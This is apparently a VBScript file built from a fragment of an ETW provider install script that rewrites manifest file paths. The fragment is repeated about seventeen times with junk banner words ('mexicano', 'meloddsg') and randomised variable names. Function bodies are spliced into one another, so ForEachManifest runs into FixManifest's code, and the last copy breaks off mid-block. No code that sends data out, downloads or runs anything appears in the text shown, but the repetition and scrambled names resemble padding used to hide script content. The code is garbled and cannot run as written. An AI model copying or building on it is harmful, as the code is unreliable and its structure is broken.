'''''''''''''''''''''' mexicano '''''''''''''''''''''' ' Print usage meloddsg ' ' Install Providers ' Uninstall Providers ' Function UninstallProviders ' If this is msi mode, uninstall failures are not fatal ' If False = manual Then On Error Resume Next End If targetDir = Session.TargetPath("ETWProviders") ForEachManifest( GetRef("UninstallProvider") ) On Error Goto 0 End Function ' Enumerates over the provider manifests ' Function ForEachManifest( performAction ) Dim ObjCD, ObjFiles, File ' Remove possible trailing backslash ' If Right(targetDir, 1) = "\" Then targetDir = Left(targetDir, Len(targetDir) - 1) End If ' Uninstall an ETW Provider ' Create a fixed-up copy of a provider manifest ' Dim YxzKX, WaBnj, PUPqX, vKynU Dim fixedName, messageFileName, resourceFileName Set YxzKX = CreateObject("msxml2.DOMDocument.3.0") YxzKX.async = false YxzKX.resolveExternals = false YxzKX.validateOnParse = false If Not YxzKX.load( manifestName ) Then FixManifest = "" Exit Function End If Set WaBnj = YxzKX.SelectNodes("//*/provider") If WaBnj Is Nothing Then FixManifest = "" Exit Function End If For Each PUPqX In WaBnj Set vKynU = PUPqX.attributes messageFileName = vKynU.getNamedItem("messageFileName").nodeValue resourceFileName = vKynU.getNamedItem("resourceFileName").nodeValue messageFileName = RegExFolderPart.Replace ( messageFileName, targetDir + "\" ) resourceFileName = RegExFolderPart.Replace ( resourceFileName, targetDir + "\" ) ' If the resource DLLs referenced in the provider manifest are main OS DLLs ' then we don't include them in the OPK, instead we include a resource-only ' dll with the etw.dll suffix. For these DLLs we need to add the suffix here. ' If 0 = InStr( messageFileName, "etw.dll" ) Then messageFileName = RegExExtensionPart.Replace ( messageFileName, "etw.dll" ) End If If 0 = InStr( resourceFileName, "etw.dll" ) Then resourceFileName = RegExExtensionPart.Replace ( resourceFileName, "etw.dll" ) End If PUPqX.SetAttribute "messageFileName", messageFileName PUPqX.SetAttribute "resourceFileName", resourceFileName Next fixedName = RegExFolderPart.Replace ( manifestName, ObjShell.ExpandEnvironmentStrings("%TEMP%") + "\" ) + ".fixed.man" If YxzKX.save( fixedName ) Then FixManifest = "" Exit Function End If FixManifest = fixedName End Function '''''''''''''''''''''' mexicano '''''''''''''''''''''' ' Print usage meloddsg ' ' Install Providers ' Uninstall Providers ' Function UninstallProviders ' If this is msi mode, uninstall failures are not fatal ' If False = manual Then On Error Resume Next End If targetDir = Session.TargetPath("ETWProviders") ForEachManifest( GetRef("UninstallProvider") ) On Error Goto 0 End Function ' Enumerates over the provider manifests ' Function ForEachManifest( performAction ) Dim ObjCD, ObjFiles, File ' Remove possible trailing backslash ' If Right(targetDir, 1) = "\" Then targetDir = Left(targetDir, Len(targetDir) - 1) End If ' Uninstall an ETW Provider ' Create a fixed-up copy of a provider manifest ' Dim YxzKX, WaBnj, PUPqX, vKynU Dim fixedName, messageFileName, resourceFileName Set YxzKX = CreateObject("msxml2.DOMDocument.3.0") YxzKX.async = false YxzKX.resolveExternals = false YxzKX.validateOnParse = false If Not YxzKX.load( manifestName ) Then FixManifest = "" Exit Function End If Set WaBnj = YxzKX.SelectNodes("//*/provider") If WaBnj Is Nothing Then FixManifest = "" Exit Function End If For Each PUPqX In WaBnj Set vKynU = PUPqX.attributes messageFileName = vKynU.getNamedItem("messageFileName").nodeValue resourceFileName = vKynU.getNamedItem("resourceFileName").nodeValue messageFileName = RegExFolderPart.Replace ( messageFileName, targetDir + "\" ) resourceFileName = RegExFolderPart.Replace ( resourceFileName, targetDir + "\" ) ' If the resource DLLs referenced in the provider manifest are main OS DLLs ' then we don't include them in the OPK, instead we include a resource-only ' dll with the etw.dll suffix. For these DLLs we need to add the suffix here. ' If 0 = InStr( messageFileName, "etw.dll" ) Then messageFileName = RegExExtensionPart.Replace ( messageFileName, "etw.dll" ) End If If 0 = InStr( resourceFileName, "etw.dll" ) Then resourceFileName = RegExExtensionPart.Replace ( resourceFileName, "etw.dll" ) End If PUPqX.SetAttribute "messageFileName", messageFileName PUPqX.SetAttribute "resourceFileName", resourceFileName Next fixedName = RegExFolderPart.Replace ( manifestName, ObjShell.ExpandEnvironmentStrings("%TEMP%") + "\" ) + ".fixed.man" If YxzKX.save( fixedName ) Then FixManifest = "" Exit Function End If FixManifest = fixedName End Function '''''''''''''''''''''' mexicano '''''''''''''''''''''' ' Print usage meloddsg ' ' Install Providers ' Uninstall Providers ' Function UninstallProviders ' If this is msi mode, uninstall failures are not fatal ' If False = manual Then On Error Resume Next End If targetDir = Session.TargetPath("ETWProviders") ForEachManifest( GetRef("UninstallProvider") ) On Error Goto 0 End Function ' Enumerates over the provider manifests ' Function ForEachManifest( performAction ) Dim ObjCD, ObjFiles, File ' Remove possible trailing backslash ' If Right(targetDir, 1) = "\" Then targetDir = Left(targetDir, Len(targetDir) - 1) End If ' Uninstall an ETW Provider ' Create a fixed-up copy of a provider manifest ' Dim YxzKX, WaBnj, PUPqX, vKynU Dim fixedName, messageFileName, resourceFileName Set YxzKX = CreateObject("msxml2.DOMDocument.3.0") YxzKX.async = false YxzKX.resolveExternals = false YxzKX.validateOnParse = false If Not YxzKX.load( manifestName ) Then FixManifest = "" Exit Function End If Set WaBnj = YxzKX.SelectNodes("//*/provider") If WaBnj Is Nothing Then FixManifest = "" Exit Function End If For Each PUPqX In WaBnj Set vKynU = PUPqX.attributes messageFileName = vKynU.getNamedItem("messageFileName").nodeValue resourceFileName = vKynU.getNamedItem("resourceFileName").nodeValue messageFileName = RegExFolderPart.Replace ( messageFileName, targetDir + "\" ) resourceFileName = RegExFolderPart.Replace ( resourceFileName, targetDir + "\" ) ' If the resource DLLs referenced in the provider manifest are main OS DLLs ' then we don't include them in the OPK, instead we include a resource-only ' dll with the etw.dll suffix. For these DLLs we need to add the suffix here. ' If 0 = InStr( messageFileName, "etw.dll" ) Then messageFileName = RegExExtensionPart.Replace ( messageFileName, "etw.dll" ) End If If 0 = InStr( resourceFileName, "etw.dll" ) Then resourceFileName = RegExExtensionPart.Replace ( resourceFileName, "etw.dll" ) End If PUPqX.SetAttribute "messageFileName", messageFileName PUPqX.SetAttribute "resourceFileName", resourceFileName Next fixedName = RegExFolderPart.Replace ( manifestName, ObjShell.ExpandEnvironmentStrings("%TEMP%") + "\" ) + ".fixed.man" If YxzKX.save( fixedName ) Then FixManifest = "" Exit Function End If FixManifest = fixedName End Function '''''''''''''''''''''' mexicano '''''''''''''''''''''' ' Print usage meloddsg ' ' Install Providers ' Uninstall Providers ' Function UninstallProviders ' If this is msi mode, uninstall failures are not fatal ' If False = manual Then On Error Resume Next End If targetDir = Session.TargetPath("ETWProviders") ForEachManifest( GetRef("UninstallProvider") ) On Error Goto 0 End Function ' Enumerates over the provider manifests ' Function ForEachManifest( performAction ) Dim ObjCD, ObjFiles, File ' Remove possible trailing backslash ' If Right(targetDir, 1) = "\" Then targetDir = Left(targetDir, Len(targetDir) - 1) End If ' Uninstall an ETW Provider ' Create a fixed-up copy of a provider manifest ' Dim YxzKX, WaBnj, PUPqX, vKynU Dim fixedName, messageFileName, resourceFileName Set YxzKX = CreateObject("msxml2.DOMDocument.3.0") YxzKX.async = false YxzKX.resolveExternals = false YxzKX.validateOnParse = false If Not YxzKX.load( manifestName ) Then FixManifest = "" Exit Function End If Set WaBnj = YxzKX.SelectNodes("//*/provider") If WaBnj Is Nothing Then FixManifest = "" Exit Function End If For Each PUPqX In WaBnj Set vKynU = PUPqX.attributes messageFileName = vKynU.getNamedItem("messageFileName").nodeValue resourceFileName = vKynU.getNamedItem("resourceFileName").nodeValue messageFileName = RegExFolderPart.Replace ( messageFileName, targetDir + "\" ) resourceFileName = RegExFolderPart.Replace ( resourceFileName, targetDir + "\" ) ' If the resource DLLs referenced in the provider manifest are main OS DLLs ' then we don't include them in the OPK, instead we include a resource-only ' dll with the etw.dll suffix. For these DLLs we need to add the suffix here. ' If 0 = InStr( messageFileName, "etw.dll" ) Then messageFileName = RegExExtensionPart.Replace ( messageFileName, "etw.dll" ) End If If 0 = InStr( resourceFileName, "etw.dll" ) Then resourceFileName = RegExExtensionPart.Replace ( resourceFileName, "etw.dll" ) End If PUPqX.SetAttribute "messageFileName", messageFileName PUPqX.SetAttribute "resourceFileName", resourceFileName Next fixedName = RegExFolderPart.Replace ( manifestName, ObjShell.ExpandEnvironmentStrings("%TEMP%") + "\" ) + ".fixed.man" If YxzKX.save( fixedName ) Then FixManifest = "" Exit Function End If FixManifest = fixedName End Function '''''''''''''''''''''' mexicano '''''''''''''''''''''' ' Print usage meloddsg ' ' Install Providers ' Uninstall Providers ' Function UninstallProviders ' If this is msi mode, uninstall failures are not fatal ' If False = manual Then On Error Resume Next End If targetDir = Session.TargetPath("ETWProviders") ForEachManifest( GetRef("UninstallProvider") ) On Error Goto 0 End Function ' Enumerates over the provider manifests ' Function ForEachManifest( performAction ) Dim ObjCD, ObjFiles, File ' Remove possible trailing backslash ' If Right(targetDir, 1) = "\" Then targetDir = Left(targetDir, Len(targetDir) - 1) End If ' Uninstall an ETW Provider ' Create a fixed-up copy of a provider manifest ' Dim YxzKX, WaBnj, PUPqX, vKynU Dim fixedName, messageFileName, resourceFileName Set YxzKX = CreateObject("msxml2.DOMDocument.3.0") YxzKX.async = false YxzKX.resolveExternals = false YxzKX.validateOnParse = false If Not YxzKX.load( manifestName ) Then FixManifest = "" Exit Function End If Set WaBnj = YxzKX.SelectNodes("//*/provider") If WaBnj Is Nothing Then FixManifest = "" Exit Function End If For Each PUPqX In WaBnj Set vKynU = PUPqX.attributes messageFileName = vKynU.getNamedItem("messageFileName").nodeValue resourceFileName = vKynU.getNamedItem("resourceFileName").nodeValue messageFileName = RegExFolderPart.Replace ( messageFileName, targetDir + "\" ) resourceFileName = RegExFolderPart.Replace ( resourceFileName, targetDir + "\" ) ' If the resource DLLs referenced in the provider manifest are main OS DLLs ' then we don't include them in the OPK, instead we include a resource-only ' dll with the etw.dll suffix. For these DLLs we need to add the suffix here. ' If 0 = InStr( messageFileName, "etw.dll" ) Then messageFileName = RegExExtensionPart.Replace ( messageFileName, "etw.dll" ) End If If 0 = InStr( resourceFileName, "etw.dll" ) Then resourceFileName = RegExExtensionPart.Replace ( resourceFileName, "etw.dll" ) End If PUPqX.SetAttribute "messageFileName", messageFileName PUPqX.SetAttribute "resourceFileName", resourceFileName Next fixedName = RegExFolderPart.Replace ( manifestName, ObjShell.ExpandEnvironmentStrings("%TEMP%") + "\" ) + ".fixed.man" If YxzKX.save( fixedName ) Then FixManifest = "" Exit Function End If FixManifest = fixedName End Function '''''''''''''''''''''' mexicano '''''''''''''''''''''' ' Print usage meloddsg ' ' Install Providers ' Uninstall Providers ' Function UninstallProviders ' If this is msi mode, uninstall failures are not fatal ' If False = manual Then On Error Resume Next End If targetDir = Session.TargetPath("ETWProviders") ForEachManifest( GetRef("UninstallProvider") ) On Error Goto 0 End Function ' Enumerates over the provider manifests ' Function ForEachManifest( performAction ) Dim ObjCD, ObjFiles, File ' Remove possible trailing backslash ' If Right(targetDir, 1) = "\" Then targetDir = Left(targetDir, Len(targetDir) - 1) End If ' Uninstall an ETW Provider ' Create a fixed-up copy of a provider manifest ' Dim YxzKX, WaBnj, PUPqX, vKynU Dim fixedName, messageFileName, resourceFileName Set YxzKX = CreateObject("msxml2.DOMDocument.3.0") YxzKX.async = false YxzKX.resolveExternals = false YxzKX.validateOnParse = false If Not YxzKX.load( manifestName ) Then FixManifest = "" Exit Function End If Set WaBnj = YxzKX.SelectNodes("//*/provider") If WaBnj Is Nothing Then FixManifest = "" Exit Function End If For Each PUPqX In WaBnj Set vKynU = PUPqX.attributes messageFileName = vKynU.getNamedItem("messageFileName").nodeValue resourceFileName = vKynU.getNamedItem("resourceFileName").nodeValue messageFileName = RegExFolderPart.Replace ( messageFileName, targetDir + "\" ) resourceFileName = RegExFolderPart.Replace ( resourceFileName, targetDir + "\" ) ' If the resource DLLs referenced in the provider manifest are main OS DLLs ' then we don't include them in the OPK, instead we include a resource-only ' dll with the etw.dll suffix. For these DLLs we need to add the suffix here. ' If 0 = InStr( messageFileName, "etw.dll" ) Then messageFileName = RegExExtensionPart.Replace ( messageFileName, "etw.dll" ) End If If 0 = InStr( resourceFileName, "etw.dll" ) Then resourceFileName = RegExExtensionPart.Replace ( resourceFileName, "etw.dll" ) End If PUPqX.SetAttribute "messageFileName", messageFileName PUPqX.SetAttribute "resourceFileName", resourceFileName Next fixedName = RegExFolderPart.Replace ( manifestName, ObjShell.ExpandEnvironmentStrings("%TEMP%") + "\" ) + ".fixed.man" If YxzKX.save( fixedName ) Then FixManifest = "" Exit Function End If FixManifest = fixedName End Function '''''''''''''''''''''' mexicano '''''''''''''''''''''' ' Print usage meloddsg ' ' Install Providers ' Uninstall Providers ' Function UninstallProviders ' If this is msi mode, uninstall failures are not fatal ' If False = manual Then On Error Resume Next End If targetDir = Session.TargetPath("ETWProviders") ForEachManifest( GetRef("UninstallProvider") ) On Error Goto 0 End Function ' Enumerates over the provider manifests ' Function ForEachManifest( performAction ) Dim ObjCD, ObjFiles, File ' Remove possible trailing backslash ' If Right(targetDir, 1) = "\" Then targetDir = Left(targetDir, Len(targetDir) - 1) End If ' Uninstall an ETW Provider ' Create a fixed-up copy of a provider manifest ' Dim YxzKX, WaBnj, PUPqX, vKynU Dim fixedName, messageFileName, resourceFileName Set YxzKX = CreateObject("msxml2.DOMDocument.3.0") YxzKX.async = false YxzKX.resolveExternals = false YxzKX.validateOnParse = false If Not YxzKX.load( manifestName ) Then FixManifest = "" Exit Function End If Set WaBnj = YxzKX.SelectNodes("//*/provider") If WaBnj Is Nothing Then FixManifest = "" Exit Function End If For Each PUPqX In WaBnj Set vKynU = PUPqX.attributes messageFileName = vKynU.getNamedItem("messageFileName").nodeValue resourceFileName = vKynU.getNamedItem("resourceFileName").nodeValue messageFileName = RegExFolderPart.Replace ( messageFileName, targetDir + "\" ) resourceFileName = RegExFolderPart.Replace ( resourceFileName, targetDir + "\" ) ' If the resource DLLs referenced in the provider manifest are main OS DLLs ' then we don't include them in the OPK, instead we include a resource-only ' dll with the etw.dll suffix. For these DLLs we need to add the suffix here. ' If 0 = InStr( messageFileName, "etw.dll" ) Then messageFileName = RegExExtensionPart.Replace ( messageFileName, "etw.dll" ) End If If 0 = InStr( resourceFileName, "etw.dll" ) Then resourceFileName = RegExExtensionPart.Replace ( resourceFileName, "etw.dll" ) End If PUPqX.SetAttribute "messageFileName", messageFileName PUPqX.SetAttribute "resourceFileName", resourceFileName Next fixedName = RegExFolderPart.Replace ( manifestName, ObjShell.ExpandEnvironmentStrings("%TEMP%") + "\" ) + ".fixed.man" If YxzKX.save( fixedName ) Then FixManifest = "" Exit Function End If FixManifest = fixedName End Function '''''''''''''''''''''' mexicano '''''''''''''''''''''' ' Print usage meloddsg ' ' Install Providers ' Uninstall Providers ' Function UninstallProviders ' If this is msi mode, uninstall failures are not fatal ' If False = manual Then On Error Resume Next End If targetDir = Session.TargetPath("ETWProviders") ForEachManifest( GetRef("UninstallProvider") ) On Error Goto 0 End Function ' Enumerates over the provider manifests ' Function ForEachManifest( performAction ) Dim ObjCD, ObjFiles, File ' Remove possible trailing backslash ' If Right(targetDir, 1) = "\" Then targetDir = Left(targetDir, Len(targetDir) - 1) End If ' Uninstall an ETW Provider ' Create a fixed-up copy of a provider manifest ' Dim YxzKX, WaBnj, PUPqX, vKynU Dim fixedName, messageFileName, resourceFileName Set YxzKX = CreateObject("msxml2.DOMDocument.3.0") YxzKX.async = false YxzKX.resolveExternals = false YxzKX.validateOnParse = false If Not YxzKX.load( manifestName ) Then FixManifest = "" Exit Function End If Set WaBnj = YxzKX.SelectNodes("//*/provider") If WaBnj Is Nothing Then FixManifest = "" Exit Function End If For Each PUPqX In WaBnj Set vKynU = PUPqX.attributes messageFileName = vKynU.getNamedItem("messageFileName").nodeValue resourceFileName = vKynU.getNamedItem("resourceFileName").nodeValue messageFileName = RegExFolderPart.Replace ( messageFileName, targetDir + "\" ) resourceFileName = RegExFolderPart.Replace ( resourceFileName, targetDir + "\" ) ' If the resource DLLs referenced in the provider manifest are main OS DLLs ' then we don't include them in the OPK, instead we include a resource-only ' dll with the etw.dll suffix. For these DLLs we need to add the suffix here. ' If 0 = InStr( messageFileName, "etw.dll" ) Then messageFileName = RegExExtensionPart.Replace ( messageFileName, "etw.dll" ) End If If 0 = InStr( resourceFileName, "etw.dll" ) Then resourceFileName = RegExExtensionPart.Replace ( resourceFileName, "etw.dll" ) End If PUPqX.SetAttribute "messageFileName", messageFileName PUPqX.SetAttribute "resourceFileName", resourceFileName Next fixedName = RegExFolderPart.Replace ( manifestName, ObjShell.ExpandEnvironmentStrings("%TEMP%") + "\" ) + ".fixed.man" If YxzKX.save( fixedName ) Then FixManifest = "" Exit Function End If FixManifest = fixedName End Function '''''''''''''''''''''' mexicano '''''''''''''''''''''' ' Print usage meloddsg ' ' Install Providers ' Uninstall Providers ' Function UninstallProviders ' If this is msi mode, uninstall failures are not fatal ' If False = manual Then On Error Resume Next End If targetDir = Session.TargetPath("ETWProviders") ForEachManifest( GetRef("UninstallProvider") ) On Error Goto 0 End Function ' Enumerates over the provider manifests ' Function ForEachManifest( performAction ) Dim ObjCD, ObjFiles, File ' Remove possible trailing backslash ' If Right(targetDir, 1) = "\" Then targetDir = Left(targetDir, Len(targetDir) - 1) End If ' Uninstall an ETW Provider ' Create a fixed-up copy of a provider manifest ' Dim YxzKX, WaBnj, PUPqX, vKynU Dim fixedName, messageFileName, resourceFileName Set YxzKX = CreateObject("msxml2.DOMDocument.3.0") YxzKX.async = false YxzKX.resolveExternals = false YxzKX.validateOnParse = false If Not YxzKX.load( manifestName ) Then FixManifest = "" Exit Function End If Set WaBnj = YxzKX.SelectNodes("//*/provider") If WaBnj Is Nothing Then FixManifest = "" Exit Function End If For Each PUPqX In WaBnj Set vKynU = PUPqX.attributes messageFileName = vKynU.getNamedItem("messageFileName").nodeValue resourceFileName = vKynU.getNamedItem("resourceFileName").nodeValue messageFileName = RegExFolderPart.Replace ( messageFileName, targetDir + "\" ) resourceFileName = RegExFolderPart.Replace ( resourceFileName, targetDir + "\" ) ' If the resource DLLs referenced in the provider manifest are main OS DLLs ' then we don't include them in the OPK, instead we include a resource-only ' dll with the etw.dll suffix. For these DLLs we need to add the suffix here. ' If 0 = InStr( messageFileName, "etw.dll" ) Then messageFileName = RegExExtensionPart.Replace ( messageFileName, "etw.dll" ) End If If 0 = InStr( resourceFileName, "etw.dll" ) Then resourceFileName = RegExExtensionPart.Replace ( resourceFileName, "etw.dll" ) End If PUPqX.SetAttribute "messageFileName", messageFileName PUPqX.SetAttribute "resourceFileName", resourceFileName Next fixedName = RegExFolderPart.Replace ( manifestName, ObjShell.ExpandEnvironmentStrings("%TEMP%") + "\" ) + ".fixed.man" If YxzKX.save( fixedName ) Then FixManifest = "" Exit Function End If FixManifest = fixedName End Function '''''''''''''''''''''' mexicano '''''''''''''''''''''' ' Print usage meloddsg ' ' Install Providers ' Uninstall Providers ' Function UninstallProviders ' If this is msi mode, uninstall failures are not fatal ' If False = manual Then On Error Resume Next End If targetDir = Session.TargetPath("ETWProviders") ForEachManifest( GetRef("UninstallProvider") ) On Error Goto 0 End Function ' Enumerates over the provider manifests ' Function ForEachManifest( performAction ) Dim ObjCD, ObjFiles, File ' Remove possible trailing backslash ' If Right(targetDir, 1) = "\" Then targetDir = Left(targetDir, Len(targetDir) - 1) End If ' Uninstall an ETW Provider ' Create a fixed-up copy of a provider manifest ' Dim YxzKX, WaBnj, PUPqX, vKynU Dim fixedName, messageFileName, resourceFileName Set YxzKX = CreateObject("msxml2.DOMDocument.3.0") YxzKX.async = false YxzKX.resolveExternals = false YxzKX.validateOnParse = false If Not YxzKX.load( manifestName ) Then FixManifest = "" Exit Function End If Set WaBnj = YxzKX.SelectNodes("//*/provider") If WaBnj Is Nothing Then FixManifest = "" Exit Function End If For Each PUPqX In WaBnj Set vKynU = PUPqX.attributes messageFileName = vKynU.getNamedItem("messageFileName").nodeValue resourceFileName = vKynU.getNamedItem("resourceFileName").nodeValue messageFileName = RegExFolderPart.Replace ( messageFileName, targetDir + "\" ) resourceFileName = RegExFolderPart.Replace ( resourceFileName, targetDir + "\" ) ' If the resource DLLs referenced in the provider manifest are main OS DLLs ' then we don't include them in the OPK, instead we include a resource-only ' dll with the etw.dll suffix. For these DLLs we need to add the suffix here. ' If 0 = InStr( messageFileName, "etw.dll" ) Then messageFileName = RegExExtensionPart.Replace ( messageFileName, "etw.dll" ) End If If 0 = InStr( resourceFileName, "etw.dll" ) Then resourceFileName = RegExExtensionPart.Replace ( resourceFileName, "etw.dll" ) End If PUPqX.SetAttribute "messageFileName", messageFileName PUPqX.SetAttribute "resourceFileName", resourceFileName Next fixedName = RegExFolderPart.Replace ( manifestName, ObjShell.ExpandEnvironmentStrings("%TEMP%") + "\" ) + ".fixed.man" If YxzKX.save( fixedName ) Then FixManifest = "" Exit Function End If FixManifest = fixedName End Function '''''''''''''''''''''' mexicano '''''''''''''''''''''' ' Print usage meloddsg ' ' Install Providers ' Uninstall Providers ' Function UninstallProviders ' If this is msi mode, uninstall failures are not fatal ' If False = manual Then On Error Resume Next End If targetDir = Session.TargetPath("ETWProviders") ForEachManifest( GetRef("UninstallProvider") ) On Error Goto 0 End Function ' Enumerates over the provider manifests ' Function ForEachManifest( performAction ) Dim ObjCD, ObjFiles, File ' Remove possible trailing backslash ' If Right(targetDir, 1) = "\" Then targetDir = Left(targetDir, Len(targetDir) - 1) End If ' Uninstall an ETW Provider ' Create a fixed-up copy of a provider manifest ' Dim YxzKX, WaBnj, PUPqX, vKynU Dim fixedName, messageFileName, resourceFileName Set YxzKX = CreateObject("msxml2.DOMDocument.3.0") YxzKX.async = false YxzKX.resolveExternals = false YxzKX.validateOnParse = false If Not YxzKX.load( manifestName ) Then FixManifest = "" Exit Function End If Set WaBnj = YxzKX.SelectNodes("//*/provider") If WaBnj Is Nothing Then FixManifest = "" Exit Function End If For Each PUPqX In WaBnj Set vKynU = PUPqX.attributes messageFileName = vKynU.getNamedItem("messageFileName").nodeValue resourceFileName = vKynU.getNamedItem("resourceFileName").nodeValue messageFileName = RegExFolderPart.Replace ( messageFileName, targetDir + "\" ) resourceFileName = RegExFolderPart.Replace ( resourceFileName, targetDir + "\" ) ' If the resource DLLs referenced in the provider manifest are main OS DLLs ' then we don't include them in the OPK, instead we include a resource-only ' dll with the etw.dll suffix. For these DLLs we need to add the suffix here. ' If 0 = InStr( messageFileName, "etw.dll" ) Then messageFileName = RegExExtensionPart.Replace ( messageFileName, "etw.dll" ) End If If 0 = InStr( resourceFileName, "etw.dll" ) Then resourceFileName = RegExExtensionPart.Replace ( resourceFileName, "etw.dll" ) End If PUPqX.SetAttribute "messageFileName", messageFileName PUPqX.SetAttribute "resourceFileName", resourceFileName Next fixedName = RegExFolderPart.Replace ( manifestName, ObjShell.ExpandEnvironmentStrings("%TEMP%") + "\" ) + ".fixed.man" If YxzKX.save( fixedName ) Then FixManifest = "" Exit Function End If FixManifest = fixedName End Function '''''''''''''''''''''' mexicano '''''''''''''''''''''' ' Print usage meloddsg ' ' Install Providers ' Uninstall Providers ' Function UninstallProviders ' If this is msi mode, uninstall failures are not fatal ' If False = manual Then On Error Resume Next End If targetDir = Session.TargetPath("ETWProviders") ForEachManifest( GetRef("UninstallProvider") ) On Error Goto 0 End Function ' Enumerates over the provider manifests ' Function ForEachManifest( performAction ) Dim ObjCD, ObjFiles, File ' Remove possible trailing backslash ' If Right(targetDir, 1) = "\" Then targetDir = Left(targetDir, Len(targetDir) - 1) End If ' Uninstall an ETW Provider ' Create a fixed-up copy of a provider manifest ' Dim YxzKX, WaBnj, PUPqX, vKynU Dim fixedName, messageFileName, resourceFileName Set YxzKX = CreateObject("msxml2.DOMDocument.3.0") YxzKX.async = false YxzKX.resolveExternals = false YxzKX.validateOnParse = false If Not YxzKX.load( manifestName ) Then FixManifest = "" Exit Function End If Set WaBnj = YxzKX.SelectNodes("//*/provider") If WaBnj Is Nothing Then FixManifest = "" Exit Function End If For Each PUPqX In WaBnj Set vKynU = PUPqX.attributes messageFileName = vKynU.getNamedItem("messageFileName").nodeValue resourceFileName = vKynU.getNamedItem("resourceFileName").nodeValue messageFileName = RegExFolderPart.Replace ( messageFileName, targetDir + "\" ) resourceFileName = RegExFolderPart.Replace ( resourceFileName, targetDir + "\" ) ' If the resource DLLs referenced in the provider manifest are main OS DLLs ' then we don't include them in the OPK, instead we include a resource-only ' dll with the etw.dll suffix. For these DLLs we need to add the suffix here. ' If 0 = InStr( messageFileName, "etw.dll" ) Then messageFileName = RegExExtensionPart.Replace ( messageFileName, "etw.dll" ) End If If 0 = InStr( resourceFileName, "etw.dll" ) Then resourceFileName = RegExExtensionPart.Replace ( resourceFileName, "etw.dll" ) End If PUPqX.SetAttribute "messageFileName", messageFileName PUPqX.SetAttribute "resourceFileName", resourceFileName Next fixedName = RegExFolderPart.Replace ( manifestName, ObjShell.ExpandEnvironmentStrings("%TEMP%") + "\" ) + ".fixed.man" If YxzKX.save( fixedName ) Then FixManifest = "" Exit Function End If FixManifest = fixedName End Function '''''''''''''''''''''' mexicano '''''''''''''''''''''' ' Print usage meloddsg ' ' Install Providers ' Uninstall Providers ' Function UninstallProviders ' If this is msi mode, uninstall failures are not fatal ' If False = manual Then On Error Resume Next End If targetDir = Session.TargetPath("ETWProviders") ForEachManifest( GetRef("UninstallProvider") ) On Error Goto 0 End Function ' Enumerates over the provider manifests ' Function ForEachManifest( performAction ) Dim ObjCD, ObjFiles, File ' Remove possible trailing backslash ' If Right(targetDir, 1) = "\" Then targetDir = Left(targetDir, Len(targetDir) - 1) End If ' Uninstall an ETW Provider ' Create a fixed-up copy of a provider manifest ' Dim YxzKX, WaBnj, PUPqX, vKynU Dim fixedName, messageFileName, resourceFileName Set YxzKX = CreateObject("msxml2.DOMDocument.3.0") YxzKX.async = false YxzKX.resolveExternals = false YxzKX.validateOnParse = false If Not YxzKX.load( manifestName ) Then FixManifest = "" Exit Function End If Set WaBnj = YxzKX.SelectNodes("//*/provider") If WaBnj Is Nothing Then FixManifest = "" Exit Function End If For Each PUPqX In WaBnj Set vKynU = PUPqX.attributes messageFileName = vKynU.getNamedItem("messageFileName").nodeValue resourceFileName = vKynU.getNamedItem("resourceFileName").nodeValue messageFileName = RegExFolderPart.Replace ( messageFileName, targetDir + "\" ) resourceFileName = RegExFolderPart.Replace ( resourceFileName, targetDir + "\" ) ' If the resource DLLs referenced in the provider manifest are main OS DLLs ' then we don't include them in the OPK, instead we include a resource-only ' dll with the etw.dll suffix. For these DLLs we need to add the suffix here. ' If 0 = InStr( messageFileName, "etw.dll" ) Then messageFileName = RegExExtensionPart.Replace ( messageFileName, "etw.dll" ) End If If 0 = InStr( resourceFileName, "etw.dll" ) Then resourceFileName = RegExExtensionPart.Replace ( resourceFileName, "etw.dll" ) End If PUPqX.SetAttribute "messageFileName", messageFileName PUPqX.SetAttribute "resourceFileName", resourceFileName Next fixedName = RegExFolderPart.Replace ( manifestName, ObjShell.ExpandEnvironmentStrings("%TEMP%") + "\" ) + ".fixed.man" If YxzKX.save( fixedName ) Then FixManifest = "" Exit Function End If FixManifest = fixedName End Function '''''''''''''''''''''' mexicano '''''''''''''''''''''' ' Print usage meloddsg ' ' Install Providers ' Uninstall Providers ' Function UninstallProviders ' If this is msi mode, uninstall failures are not fatal ' If False = manual Then On Error Resume Next End If targetDir = Session.TargetPath("ETWProviders") ForEachManifest( GetRef("UninstallProvider") ) On Error Goto 0 End Function ' Enumerates over the provider manifests ' Function ForEachManifest( performAction ) Dim ObjCD, ObjFiles, File ' Remove possible trailing backslash ' If Right(targetDir, 1) = "\" Then targetDir = Left(targetDir, Len(targetDir) - 1) End If ' Uninstall an ETW Provider ' Create a fixed-up copy of a provider manifest ' Dim YxzKX, WaBnj, PUPqX, vKynU Dim fixedName, messageFileName, resourceFileName Set YxzKX = CreateObject("msxml2.DOMDocument.3.0") YxzKX.async = false YxzKX.resolveExternals = false YxzKX.validateOnParse = false If Not YxzKX.load( manifestName ) Then FixManifest = "" Exit Function End If Set WaBnj = YxzKX.SelectNodes("//*/provider") If WaBnj Is Nothing Then FixManifest = "" Exit Function End If For Each PUPqX In WaBnj Set vKynU = PUPqX.attributes messageFileName = vKynU.getNamedItem("messageFileName").nodeValue resourceFileName = vKynU.getNamedItem("resourceFileName").nodeValue messageFileName = RegExFolderPart.Replace ( messageFileName, targetDir + "\" ) resourceFileName = RegExFolderPart.Replace ( resourceFileName, targetDir + "\" ) ' If the resource DLLs referenced in the provider manifest are main OS DLLs ' then we don't include them in the OPK, instead we include a resource-only ' dll with the etw.dll suffix. For these DLLs we need to add the suffix here. ' If 0 = InStr( messageFileName, "etw.dll" ) Then messageFileName = RegExExtensionPart.Replace ( messageFileName, "etw.dll" ) End If If 0 = InStr( resourceFileName, "etw.dll" ) Then resourceFileName = RegExExtensionPart.Replace ( resourceFileName, "etw.dll" ) End If PUPqX.SetAttribute "messageFileName", messageFileName PUPqX.SetAttribute "resourceFileName", resourceFileName Next fixedName = RegExFolderPart.Replace ( manifestName, ObjShell.ExpandEnvironmentStrings("%TEMP%") + "\" ) + ".fixed.man" If YxzKX.save( fixedName ) Then FixManifest = "" Exit Function End If FixManifest = fixedName End Function '''''''''''''''''''''' mexicano '''''''''''''''''''''' ' Print usage meloddsg ' ' Install Providers ' Uninstall Providers ' Function UninstallProviders ' If this is msi mode, uninstall failures are not fatal ' If False = manual Then On Error Resume Next End If targetDir = Session.TargetPath("ETWProviders") ForEachManifest( GetRef("UninstallProvider") ) On Error Goto 0 End Function ' Enumerates over the provider manifests ' Function ForEachManifest( performAction ) Dim ObjCD, ObjFiles, File ' Remove possible trailing backslash ' If Right(targetDir, 1) = "\" Then targetDir = Left(targetDir, Len(targetDir) - 1) 